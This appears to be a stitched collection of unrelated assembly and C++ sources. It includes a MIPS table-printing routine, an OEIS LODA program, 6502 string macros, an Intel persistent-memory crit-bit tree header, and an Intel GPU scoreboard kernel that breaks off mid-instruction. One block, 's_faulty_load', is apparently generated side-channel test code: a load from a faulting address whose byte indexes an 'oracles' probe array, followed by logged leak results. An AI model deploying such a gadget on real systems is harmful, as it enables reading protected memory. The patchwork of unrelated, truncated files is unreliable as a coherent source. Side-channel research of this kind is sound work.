prtLine prtLine: sub $sp, $sp, 16 sw $s0, 0($sp) # Push $s0 sw $s1, 4($sp) # Push $s1 sw $s2, 8($sp) # Push $s2 sw $ra, 12($sp) # Push $ra calleSave: move $s0, $a0 # Move n value into $s0 move $s1, $a1 # Move fibonacci value into $s1 move $s2, $a2 # Move perrin value into $s2 printNum: la $a0, nMsg # Print nMsg li $v0, 4 syscall move $a0, $s0 # Move n value into $a0 li $a1, 2 # Move max digit count for num into $a1 jal prtBlanks # Call prtBlanks printFib: la $a0, fMsg # Print fMsg li $v0, 4 syscall move $a0, $s1 # Move fibonacci value into $a0 li $a1, 10 # Move max digit count for fibonacci into $a1 jal prtBlanks # Call prtBlanks printPerrin: la $a0, pMsg # Print pMsg la $v0, 4 syscall move $a0, $s2 # Move perrin value into $a0 li $a1, 7 # Move max digit count for perrin into $a1 jal prtBlanks # Call prtBlanks printDone: lw $s0, 0($sp) # Pop $s0 lw $s1, 4($sp) # Pop $s1 lw $s2, 8($sp) # Pop $s2 lw $ra, 12($sp) # Pop $ra add $sp, $sp, 16 jr $ra .end prtLine ##################################################################### # Print an appropriate number of blanks based on # size of the number. # ----- # Arguments: # $a0 - number (value) # $a1 - max number of digits for number (value) # YOUR CODE GOES HERE .globl prtBlanks .ent prtBlanks prtBlanks: sub $sp, $sp, 12 sw $s0, 0($sp) # Push $s0 sw $s1, 4($sp) # Push $s1 sw $s2, 8($sp) # Push $s2 move $s2, $zero # printSpaces = 0 saveCalle: move $s0, $a0 # Move value into $s0 move $s1, $a1 # Move max digit count into $s1 checkLoop: beq $a1, 2, numSpacesCheck # If max digit count == 2, jump to numSpacesCheck beq $a1, 10, fibSpacesCheck # If max digti count == 10, jump to fibSpacesCheck beq $a1, 7, perrinSpacesCheck # If max digit count == 7, jump to perrinSpacesCheck numSpacesCheck: bge $a0, 10, printValue # If num value >= 10, jump to printValue li $s2, 1 # If value < 10, set printSpaces to b printSpaces # Jump to printSpaces fibSpacesCheck: bge $a0, 1000000000, printValue # If fib value >= 1000000000, jump to printSpaces bge $a0, 100000000, oneSpace bge $a0, 10000000, twoSpaces bge $a0, 1000000, threeSpaces bge $a0, 100000, fourSpaces bge $a0, 10000, fiveSpaces bge $a0, 1000, sixSpaces bge $a0, 100, sevenSpaces bge $a0, 10, eightSpaces li $s2, 9 # If value < 10, set printSpaces to 9 b printSpaces # Jump to printSpaces perrinSpacesCheck: bge $a0, 1000000, printValue bge $a0, 100000, oneSpace bge $a0, 10000, twoSpaces bge $a0, 1000, threeSpaces bge $a0, 100, fourSpaces bge $a0, 10, fiveSpaces li $s2, 6 # If value < 10, set printSpaces to 6 b printSpaces # Jump to printSpaces oneSpace: li $s2, 1 # Set printSpaces = 1 b printSpaces twoSpaces: li $s2, 2 # Set printSpaces = 2 b printSpaces threeSpaces: li $s2, 3 # Set printSpaces = 3 b printSpaces fourSpaces: li $s2, 4 # Set printSpaces = 4 b printSpaces fiveSpaces: li $s2, 5 # Set printSpaces = 5 b printSpaces sixSpaces: li $s2, 6 # Set printSpaces = 6 b printSpaces sevenSpaces: li $s2, 7 # Set printSpaces = 7 b printSpaces eightSpaces: li $s2, 8 # Set printSpaces = 8 b printSpaces printSpaces: la $a0, space # Print space li $v0, 4 syscall sub $s2, $s2, 1 # printSpaces-- bnez $s2, printSpaces # If printSpaces != 0, jump to printSpaces printValue: move $a0, $s0 # Print value li $v0, 1 syscall prtBlanksDone: lw $s0, 0($sp) # Pop $s0 lw $s1, 4($sp) # Pop $s1 lw $s2, 8($sp) # Pop $s2 add $sp, $sp, 12 jr $ra .end prtBlanks #####################################################################
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r15 push %r8 push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x53ec, %rsi lea addresses_WC_ht+0x8054, %rdi clflush (%rdi) and $28585, %rbx mov $8, %rcx rep movsw xor $7291, %r8 lea addresses_A_ht+0x1c0dc, %r15 clflush (%r15) and $57161, %r10 movb (%r15), %cl nop nop add %r8, %r8 lea addresses_WT_ht+0xf9b1, %rsi lea addresses_D_ht+0xfaac, %rdi cmp $7896, %r14 mov $116, %rcx rep movsl nop nop nop nop nop sub $48160, %r14 lea addresses_WT_ht+0x1ea59, %r14 nop nop nop and %rsi, %rsi movups (%r14), %xmm6 vpextrq $1, %xmm6, %rdi nop nop nop nop cmp %rbx, %rbx lea addresses_UC_ht+0xefb6, %rsi lea addresses_WT_ht+0x1e7ec, %rdi clflush (%rdi) nop nop sub $27600, %r8 mov $12, %rcx rep movsq nop dec %r10 lea addresses_D_ht+0x7fec, %rbx nop nop cmp $4294, %rcx movw $0x6162, (%rbx) nop and $23168, %rcx lea addresses_normal_ht+0x1876c, %rdi nop nop nop add %r15, %r15 mov $0x6162636465666768, %r10 movq %r10, %xmm2 movups %xmm2, (%rdi) nop add %r8, %r8 lea addresses_UC_ht+0xe3ec, %r10 nop nop nop nop inc %r15 mov $0x6162636465666768, %rdi movq %rdi, %xmm0 and $0xffffffffffffffc0, %r10 movntdq %xmm0, (%r10) and $1137, %rdi lea addresses_normal_ht+0x148ec, %rcx nop and %r8, %r8 mov (%rcx), %esi nop nop nop and %rdi, %rdi lea addresses_D_ht+0xc1ec, %rsi lea addresses_WT_ht+0xfdec, %rdi nop nop nop nop nop and %r14, %r14 mov $54, %rcx rep movsq sub %r8, %r8 lea addresses_UC_ht+0x1b3ec, %r8 nop nop nop nop cmp %rsi, %rsi movb (%r8), %r14b nop and $13578, %rdi lea addresses_D_ht+0x1622c, %rsi lea addresses_normal_ht+0xe96c, %rdi nop nop nop nop nop cmp $2896, %rbx mov $32, %rcx rep movsb and %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %r8 pop %r15 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r15 push %r8 push %rax push %rdi push %rsi // Load lea addresses_normal+0x16b70, %r15 nop nop inc %r11 vmovups (%r15), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %rdi nop nop nop cmp %rax, %rax // Store lea addresses_WC+0x17dec, %rsi nop nop add %r10, %r10 movl $0x51525354, (%rsi) and %r10, %r10 // Store lea addresses_normal+0xd98c, %rdi nop nop nop nop xor %r15, %r15 mov $0x5152535455565758, %r8 movq %r8, (%rdi) nop nop sub $30099, %rdi // Store mov $0x42d01500000003f3, %r15 nop dec %rsi movw $0x5152, (%r15) nop nop nop nop sub %rax, %rax // Store lea addresses_WT+0xa19c, %r15 clflush (%r15) nop nop nop sub %rdi, %rdi mov $0x5152535455565758, %rax movq %rax, %xmm5 movups %xmm5, (%r15) nop nop nop add %r11, %r11 // Load lea addresses_UC+0x1d6ec, %r8 nop nop nop nop add $38051, %rax movb (%r8), %r15b nop nop nop and $41141, %rax // Store mov $0x15f5dc00000003ec, %r10 nop nop nop nop nop xor %r8, %r8 mov $0x5152535455565758, %r11 movq %r11, %xmm3 movups %xmm3, (%r10) nop nop nop nop nop xor $14024, %r10 // Store lea addresses_US+0x86a1, %r11 nop sub %rax, %rax movb $0x51, (%r11) nop add %rsi, %rsi // Store lea addresses_normal+0x1b7ac, %rsi nop and $21834, %rdi mov $0x5152535455565758, %r10 movq %r10, (%rsi) nop nop nop nop nop xor %rax, %rax // Store mov $0x7ec, %r15 nop nop nop nop inc %rax movl $0x51525354, (%r15) nop nop xor %r15, %r15 // Faulty Load mov $0x15f5dc00000003ec, %r15 inc %r10 mov (%r15), %edi lea oracles, %r8 and $0xff, %rdi shlq $12, %rdi mov (%r8,%rdi,1), %rdi pop %rsi pop %rdi pop %rax pop %r8 pop %r15 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 8}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 10}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 1, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 7, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}} {'00': 1, '58': 15, '10': 3} 58 10 58 58 58 58 00 58 10 58 58 58 10 58 58 58 58 58 58 */
; A120199: a(1)=6; a(n)=floor((53+sum(a(1) to a(n-1)))/8). ; 6,7,8,9,10,11,13,14,16,18,20,23,26,29,32,36,41,46,52,58,66,74,83,93,105,118,133,150,168,189,213,240,270,303,341,384,432,486,547,615,692,778,876,985,1108,1247,1403,1578,1775,1997,2247,2528,2844,3199,3599,4049,4555,5124,5765,6485,7296,8208,9234,10388,11687,13148,14791,16640,18720,21060,23693,26654,29986,33734,37951,42695,48032,54036,60790,68389,76938,86555,97374,109546,123239,138644,155975,175471,197405,222081,249841,281071,316205,355731,400197,450222,506499,569812,641038,721168,811314,912728,1026819,1155172,1299568,1462014,1644766,1850362,2081657,2341864,2634597,2963922,3334412,3751213,4220115,4747629,5341083,6008718,6759808,7604784,8555382,9624805,10827906,12181394,13704068,15417077,17344211,19512238,21951267,24695176,27782073,31254832,35161686,39556897,44501509,50064197,56322222,63362500,71282812,80193164,90217309,101494473,114181282,128453942,144510685,162574521,182896336,205758378,231478175,260412947,292964565,329585136,370783278,417131188,469272586,527931659,593923117,668163506,751683945,845644438,951349992,1070268741,1204052334,1354558876,1523878735,1714363577,1928659024,2169741402,2440959078,2746078962,3089338833,3475506187,3909944460,4398687518,4948523457,5567088889,6262975001,7045846876,7926577735,8917399952,10032074946,11286084314,12696844854,14283950460,16069444268,18078124801,20337890401,22880126702,25740142539,28957660357,32577367901,36649538889,41230731250,46384572656,52182644238,58705474768,66043659114,74299116503,83586506066,94034819324,105789171740,119012818207,133889420483,150625598044,169453797799,190635522524,214464962840,241273083195,271432218594,305361245918,343531401658,386472826865,434781930223,489129671501,550270880439,619054740494,696436583055,783491155937,881427550429,991605994233,1115556743512,1255001336451,1411876503508,1588361066446,1786906199752,2010269474721,2261553159061,2544247303944,2862278216937,3220062994054,3622570868310,4075392226849,4584816255205,5157918287106,5802658072994,6527990332118,7343989123633,8261987764087,9294736234598,10456578263923,11763650546913,13234106865277,14888370223437,16749416501367,18843093564038,21198480259542,23848290291985,26829326578483,30182992400794,33955866450893 mov $24,$0 mov $26,$0 add $26,1 lpb $26 mov $0,$24 sub $26,1 sub $0,$26 mov $20,$0 mov $22,2 lpb $22 mov $0,$20 sub $22,1 add $0,$22 sub $0,1 mov $16,$0 mov $18,2 lpb $18 clr $0,16 mov $0,$16 sub $18,1 add $0,$18 add $0,1 lpb $0 add $1,5 mov $2,$0 sub $0,1 mov $3,$2 lpb $3 trn $0,1 add $0,1 mov $4,$1 div $1,8 add $1,$4 add $1,1 mov $3,$4 trn $3,$1 lpe mov $2,$1 lpe mul $2,3 lpb $1 mov $1,$3 mov $4,$2 lpe mov $1,$4 mov $19,$18 lpb $19 mov $17,$1 sub $19,1 lpe lpe lpb $16 mov $16,0 sub $17,$1 lpe mov $1,$17 mov $23,$22 lpb $23 mov $21,$1 sub $23,1 lpe lpe lpb $20 mov $20,0 sub $21,$1 lpe mov $1,$21 sub $1,3 div $1,3 add $1,1 add $25,$1 lpe mov $1,$25
;----------------------------------------------------------------------------- ; Paul Wasson - 2021 ;----------------------------------------------------------------------------- ; Macros ;----------------------------------------------------------------------------- .macro StringInv s .repeat .strlen(s), I .byte .strat(s, I) & $3f .endrep .endmacro .macro StringHi s .repeat .strlen(s), I .byte .strat(s, I) | $80 .endrep .endmacro .macro StringHiBG s,bg .repeat .strlen(s), I .if(.strat(s,I) = bg) .byte 0 .else .byte .strat(s, I) | $80 .endif .endrep .endmacro ; Converts @ to " for ASCII art .macro StringQuote s .repeat .strlen(s), I .if(.strat(s,I) = '@') .byte '"' | $80 .else .byte .strat(s, I) | $80 .endif .endrep .endmacro ; also adds a return to the end of each line .macro StringQuoteReturn s StringQuote s .byte 13 .endmacro ; Converts B to inverse-space and % to inverse _ .macro StringBlock s .repeat .strlen(s), I .if(.strat(s,I) = 'B') .byte ' ' .elseif(.strat(s,I) = '%') .byte '_' & $1f .else .byte .strat(s, I) | $80 .endif .endrep .endmacro ; also adds a return to the end of each line .macro StringBlockReturn s StringBlock s .byte $8d .endmacro
/* * Copyright 2016-2018, Intel Corporation * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * * Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef LIBPMEMOBJ_CPP_EXAMPLES_CTREE_MAP_VOLATILE_HPP #define LIBPMEMOBJ_CPP_EXAMPLES_CTREE_MAP_VOLATILE_HPP #include <cstdint> #include <cstdlib> #include <functional> #include <libpmemobj_cpp_examples_common.hpp> #ifdef _WIN32 #include <windows.h> #endif #define BIT_IS_SET(n, i) (!!((n) & (1ULL << (i)))) namespace examples { /** * C++ implementation of a volatile ctree. * * Based on the C implementation. */ template <typename K, typename T> class ctree_map_transient { public: /** Convenience typedef for the key type. */ typedef K key_type; /** Convenience typedef for the value type. */ typedef T *value_type; /** Convenience typedef for the callback function. */ typedef std::function<int(key_type, value_type, void *)> callback; /** * Default constructor. */ ctree_map_transient() : root(new entry()) { } ctree_map_transient(const ctree_map_transient &other) = delete; ctree_map_transient & operator=(const ctree_map_transient &other) = delete; /** * Insert or update the given value under the given key. * * The map takes ownership of the value. * * @param key The key to insert under. * @param value The value to be inserted. * * @return 0 on success, negative values on error. */ int insert(uint64_t key, value_type value) { auto dest_entry = root; while (dest_entry->inode != nullptr) { auto n = dest_entry->inode; dest_entry = n->entries[BIT_IS_SET(key, n->diff)]; } entry e(key, value); if (dest_entry->key == 0 || dest_entry->key == key) { delete dest_entry->value; *dest_entry = e; } else { insert_leaf(&e, ctree_map_transient::find_crit_bit( dest_entry->key, key)); } return 0; } /** * Allocating insert. * * Creates a new value_type instance and inserts it into the tree. * * @param key The key to insert under. * @param args variadic template parameter for object construction * arguments. * * @return 0 on success, negative values on error. */ template <typename... Args> int insert_new(key_type key, const Args &... args) { return insert(key, new T(args...)); } /** * Remove a value from the tree. * * The tree no longer owns the value. * * @param key The key for which the value will be removed. * * @return The value if it is in the tree, nullptr otherwise. */ value_type remove(key_type key) { entry *parent = nullptr; auto leaf = get_leaf(key, &parent); if (leaf == nullptr) return nullptr; auto ret = leaf->value; if (parent == nullptr) { leaf->key = 0; leaf->value = nullptr; } else { auto n = parent->inode; *parent = *(n->entries[parent->inode->entries[0]->key == leaf->key]); /* cleanup both entries and the unnecessary node */ delete n->entries[0]; delete n->entries[1]; delete n; } return ret; } /** * Remove entry from tree and deallocate it. * * @param key The key denoting the entry to be removed. * * @return 0 on success, negative values on error. */ int remove_free(key_type key) { delete remove(key); return 0; } /** * Clear the tree and deallocate all entries. */ int clear() { if (root->inode) { root->inode->clear(); delete root->inode; root->inode = nullptr; } delete root->value; root->value = nullptr; root->key = 0; return 0; } /** * Return the value from the tree for the given key. * * @param key The key for which the value will be returned. * * @return The value if it is in the tree, nullptr otherwise. */ value_type get(key_type key) { auto ret = get_leaf(key, nullptr); return ret ? ret->value : nullptr; } /** * Check if an entry for the given key is in the tree. * * @param key The key to check. * * @return 0 on */ int lookup(key_type key) const { return get(key) != nullptr; } /** * Call clb for each element in the tree. * * @param clb The callback to be called. * @param args The arguments forwarded to the callback. * * @return 0 if tree empty, clb return value otherwise. */ int foreach (callback clb, void *args) { if (is_empty()) return 0; return foreach_node(root, clb, args); } /** * Check if tree is empty. * * @return 1 if empty, 0 otherwise. */ int is_empty() const { return root->value == nullptr && root->inode == nullptr; } /** * Check tree consistency. * * @return 0 on success, negative values on error. */ int check() const { return 0; } /** * Destructor. */ ~ctree_map_transient() { clear(); delete root; } private: struct node; /* * Entry holding the value. */ struct entry { entry() : key(0), inode(nullptr), value(nullptr) { } entry(key_type _key, value_type _value) : key(_key), inode(nullptr), value(_value) { } key_type key; node *inode; value_type value; /* * Clear the entry. */ void clear() { if (inode) { inode->clear(); delete inode; } delete value; } }; /* * Internal node pointing to two entries. */ struct node { node() : diff(0) { entries[0] = nullptr; entries[1] = nullptr; } int diff; /* most significant differing bit */ entry *entries[2]; /* * Clear the node. */ void clear() { if (entries[0]) { entries[0]->clear(); delete entries[0]; } if (entries[1]) { entries[1]->clear(); delete entries[1]; } } }; /* * Find critical bit. */ static int find_crit_bit(key_type lhs, key_type rhs) { return find_last_set_64(lhs ^ rhs); } /* * Insert leaf into the tree. */ void insert_leaf(const entry *e, int diff) { auto new_node = new node(); new_node->diff = diff; int d = BIT_IS_SET(e->key, new_node->diff); new_node->entries[d] = new entry(*e); auto dest_entry = root; while (dest_entry->inode != nullptr) { auto n = dest_entry->inode; if (n->diff < new_node->diff) break; dest_entry = n->entries[BIT_IS_SET(e->key, n->diff)]; } new_node->entries[!d] = new entry(*dest_entry); dest_entry->key = 0; dest_entry->inode = new_node; dest_entry->value = nullptr; } /* * Fetch leaf from the tree. */ entry * get_leaf(uint64_t key, entry **parent) { auto n = root; entry *p = nullptr; while (n->inode != nullptr) { p = n; n = n->inode->entries[BIT_IS_SET(key, n->inode->diff)]; } if (n->key == key) { if (parent) *parent = p; return n; } return nullptr; } /* * Recursive foreach on nodes. */ int foreach_node(const entry *e, callback clb, void *arg) { int ret = 0; if (e->inode != nullptr) { auto n = e->inode; if (foreach_node(n->entries[0], clb, arg) == 0) foreach_node(n->entries[1], clb, arg); } else { ret = clb(e->key, e->value, arg); } return ret; } /* Tree root */ entry *root; }; } /* namespace examples */ #endif /* LIBPMEMOBJ_CPP_EXAMPLES_CTREE_MAP_VOLATILE_HPP */
/* * Dependency control scoreboard kernel for MBAFF frame * Copyright © <2010>, Intel Corporation. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sub license, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice (including the * next paragraph) shall be included in all copies or substantial portions * of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. * IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR * ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * This file was originally licensed under the following license * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ // Kernel name: scoreboard_MBAFF.asm // // Dependency control scoreboard kernel for MBAFF frame // // $Revision: 16 $ // $Date: 10/18/06 4:10p $ // // ---------------------------------------------------- // Main: scoreboard_MBAFF // ---------------------------------------------------- // ---------------------------------------------------- // Scoreboard structure // ---------------------------------------------------- // // 1 DWORD per thread // // Bit 31: "Checking" thread, i.e. an intra MB that sends "check dependency" message // Bit 30: "Completed" thread. This bit set by an "update" message from intra/inter MB. // Bits 29:28: Must set to 0 // Bits 27:24: EUID // Bits 23:18: Reserved // Bits 17:16: TID // Bits 15:8: X offset of current MB // Bits 15:5: Reserved // Bits 4:0: 5 bits of available neighbor MB flags .kernel scoreboard_MBAFF SCOREBOARD_MBAFF: #ifdef _DEBUG // WA for FULSIM so we'll know which kernel is being debugged mov (1) acc0:ud 0xffaa55a5:ud #endif #include "header.inc" #include "scoreboard_header.inc" // // Now, begin source code.... // .code #ifdef AS_ENABLED and.z.f0.1 (1) NULLREG r0.2<0;1,0>:ud TH_RES // Is this a restarted thread previously interrupted? (f0.1) jmpi (1) MBAFF_Scoreboard_Init #include "scoreboard_restore_AS.asm" jmpi (1) MBAFF_Scoreboard_OpenGW MBAFF_Scoreboard_Init: #endif // End AS_ENABLED // Scoreboard must be initialized to 0xc000ffff, meaning all "completed" // And it also avoids message mis-handling for the first MB $for(0; <32; 2) { mov (16) CMD_SB(%1)<1> 0xc000ffff:ud {Compr} } #ifdef DOUBLE_SB // Scoreboard size needs to be doubled $for(32; <64; 2) { mov (16) CMD_SB(%1)<1> 0xc000ffff:ud {Compr} } #endif // DOUBLE_SB //---------------------------------------------------------- // Open message gateway for the scoreboard thread // // RegBase = r4 (0x04) // Gateway Size = 64 GRF registers (0x6) // Dispatch ID = r0.20:ub // Scoreboard Thread Key = 0 //---------------------------------------------------------- MBAFF_Scoreboard_OpenGW: mov (8) MSGHDRY0<1>:ud 0x00000000:ud // Initialize message header payload with 0 // Send a message with register base RegBase=0x04(r4) and Gateway size = 0x6 = 64 GRF reg and Key = 0 // 000 00000100 00000 00000 110 00000000 ==> 0000 0000 1000 0000 0000 0110 0000 0000 #ifdef AS_ENABLED add (1) MSGHDRY0.5<1>:ud r0.20:ub 0x00800700:ud // Allocate 128 GRFs for message gateway - for SIP to send notification MSG #else #ifdef DOUBLE_SB add (1) MSGHDRY0.5<1>:ud r0.20:ub 0x00800600:ud // 64 GRF's for CTG-B #else add (1) MSGHDRY0.5<1>:ud r0.20:ub 0x00800500:ud // 32 GRF's for CTG-A #endif // DOUBLE_SB #endif send (8) NULLREG MSGHDRY0 null:ud MSG_GW OGWMSGDSC //------------------------------------------------------------------------ // Send Thread Spawning Message to start dispatching macroblock threads // //------------------------------------------------------------------------ #ifdef AS_ENABLED mov (8) acc0<1>:ud CMD_SB(31)<8;8,1> // Ensure scoreboard data have been completely restored #endif // End AS_ENABLED mov (8) MSGHDRY1<1>:ud r0<8;8,1>:ud // Initialize message header payload with R0 mov (1) MSGHDRY1.4<1>:ud 0x00000400:ud // Dispatch URB length = 1 send (8) NULLREG MSGHDRY1 null:ud TS TSMSGDSC mov (8) MSGHDRY0<1>:ud 0x00000000:ud // Initialize message header payload with 0 //------------------------------------------------------------------------ // Scoreboard control data initialization //------------------------------------------------------------------------ #ifdef AS_ENABLED or (1) cr0.1:ud cr0.1:ud AS_INT_EN // Enable interrupt (f0.1) jmpi (1) MBAFF_Scoreboard_State_Init // Jump if not restarted thread // Restore scoreboard kernel control data to r1 - r3 mov (1) m4.1:ud 64:ud // Starting r1 mov (1) m4.2:ud 0x0002001f:ud // for 3 registers send (8) r1.0<1>:ud m4 null:ud DWBRMSGDSC_SC+0x00030000+AS_SAVE // Restore r1 - r3 and (1) CMDPTR<1>:uw MBINDEX(0)<0;1,0> SB_MASK*4:uw // Restore scoreboard entries for current MB // EOT if all MBs have been decoded cmp.e.f0.0 (1) NULLREG TotalMB<0;1,0>:w 0:w // Set "Last MB" flag (-f0.0) jmpi (1) MBAFF_Before_First_MB END_THREAD // Check whether it is before the first MB MBAFF_Before_First_MB: cmp.e.f0.0 (1) NULLREG AVAILFLAGD<1>:ud 0x08020401:ud // in ACBD order (f0.0) jmpi (1) MBAFF_Wavefront_Walk MBAFF_Scoreboard_State_Init: #endif // End AS_ENABLED mov (2) WFLen_B<2>:w HEIGHTINMB_1<0;1,0>:w mov (1) AVAILFLAGD<1>:ud 0x08020401:ud // in ACBD order mov (1) AVAILFLAG1D<1>:ud 0x08020410:ud // in A_C_B_D_ order mov (1) CASE00PTR<1>:ud MBAFF_Notify_MSG_IP-MBAFF_No_Message_IP:ud // Inter kernel starts mov (1) CASE10PTR<1>:ud MBAFF_Dependency_Check_IP-MBAFF_No_Message_IP:ud // Intra kernel starts #ifdef AS_ENABLED mov (1) CASE11PTR<1>:ud 0:ud // No message #else mov (1) CASE11PTR<1>:ud MBAFF_MB_Loop_IP-MBAFF_No_Message_IP:ud // No message #endif // End AS_ENABLED mov (1) StartXD<1>:ud 0:ud mov (1) NewWFOffsetD<1>:ud 0x01ffff00:ud mov (8) WFStart_T(0)<1> 0xffff:w mov (1) WFStart_T(0)<1> 0:w mov (8) a0.0<1>:uw 0x0:uw // Initialize all pointers to 0 //------------------------------------------------------------------------ // Scoreboard message handling loop //------------------------------------------------------------------------ // MBAFF_Scoreboard_Loop: // Calculate current wavefront length (same for top and bottom MB wavefronts) add.ge.f0.1 (16) acc0<1>:w StartX<0;1,0>:w 0:w // Used for x>2*y check mac.g.f0.0 (16) NULLREGW WFLenY<0;1,0>:w -2:w // X - 2*Y > 0 ?? (f0.0) mov (2) WFLen_B<1>:w WFLenY<0;1,0>:w // Use smaller vertical wavefront length (f0.0) mov (1) WFLen_Save<1>:w WFLenY<0;1,0>:w // Save current wave front length (-f0.0) asr.sat (2) WFLen_B<1>:uw StartX<0;1,0>:w 1:w // Horizontal wavefront length is smaller (-f0.0) asr.sat (1) WFLen_Save<1>:uw StartX<0;1,0>:w 1:w // Save current wave front length // Initialize 9-MB group for top macroblock wavefront #ifdef ONE_MB_WA_MBAFF mov (2) MBINDEX(0)<1> WFStart_T(0)<2;2,1> (f0.1) add (4) MBINDEX(0,2)<1> WFStart_B(0,1)<4;4,1> -1:w (-f0.1) add (4) MBINDEX(0,2)<1> 